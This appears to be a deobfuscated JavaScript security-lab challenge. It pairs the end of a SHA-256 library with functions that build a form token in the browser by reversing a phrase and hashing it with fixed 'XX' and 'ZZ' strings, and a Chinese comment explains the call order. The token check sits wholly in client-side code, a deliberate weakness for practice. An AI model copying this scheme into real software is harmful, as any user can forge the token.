        if (!this.is224) {
            dataView.setUint32(28, this.h7)
        }
        return buffer
    };

    function HmacSha256(key, is224, sharedMemory) {
        var i, type = typeof key;
        if (type === 'string') {
            var bytes = [],
                length = key.length,
                index = 0,
                code;
            for (i = 0; i < length; ++i) {
                code = key.charCodeAt(i);
                if (code < 0x80) {
                    bytes[index++] = code
                } else if (code < 0x800) {
                    bytes[index++] = (0xc0 | (code >> 6));
                    bytes[index++] = (0x80 | (code & 0x3f))
                } else if (code < 0xd800 || code >= 0xe000) {
                    bytes[index++] = (0xe0 | (code >> 12));
                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                    bytes[index++] = (0x80 | (code & 0x3f))
                } else {
                    code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));
                    bytes[index++] = (0xf0 | (code >> 18));
                    bytes[index++] = (0x80 | ((code >> 12) & 0x3f));
                    bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                    bytes[index++] = (0x80 | (code & 0x3f))
                }
            }
            key = bytes
        } else {
            if (type === 'object') {
                if (key === null) {
                    throw new Error(ERROR)
                } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {
                    key = new Uint8Array(key)
                } else if (!Array.isArray(key)) {
                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {
                        throw new Error(ERROR)
                    }
                }
            } else {
                throw new Error(ERROR)
            }
        }
        if (key.length > 64) {
            key = (new Sha256(is224, true)).update(key).array()
        }
        var oKeyPad = [],
            iKeyPad = [];
        for (i = 0; i < 64; ++i) {
            var b = key[i] || 0;
            oKeyPad[i] = 0x5c ^ b;
            iKeyPad[i] = 0x36 ^ b
        }
        Sha256.call(this, is224, sharedMemory);
        this.update(iKeyPad);
        this.oKeyPad = oKeyPad;
        this.inner = true;
        this.sharedMemory = sharedMemory
    }
    HmacSha256.prototype = new Sha256();
    HmacSha256.prototype.finalize = function() {
        Sha256.prototype.finalize.call(this);
        if (this.inner) {
            this.inner = false;
            var innerHash = this.array();
            Sha256.call(this, this.is224, this.sharedMemory);
            this.update(this.oKeyPad);
            this.update(innerHash);
            Sha256.prototype.finalize.call(this)
        }
    };
    var exports = createMethod();
    exports.sha256 = exports;
    exports.sha224 = createMethod(true);
    exports.sha256.hmac = createHmacMethod();
    exports.sha224.hmac = createHmacMethod(true);
    if (COMMON_JS) {
        module.exports = exports
    } else {
        root.sha256 = exports.sha256;
        root.sha224 = exports.sha224;
        if (AMD) {
            define(function() {
                return exports
            })
        }
    }
})();

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

执行part1，然后延迟300ms执行part2，点击按钮执行part3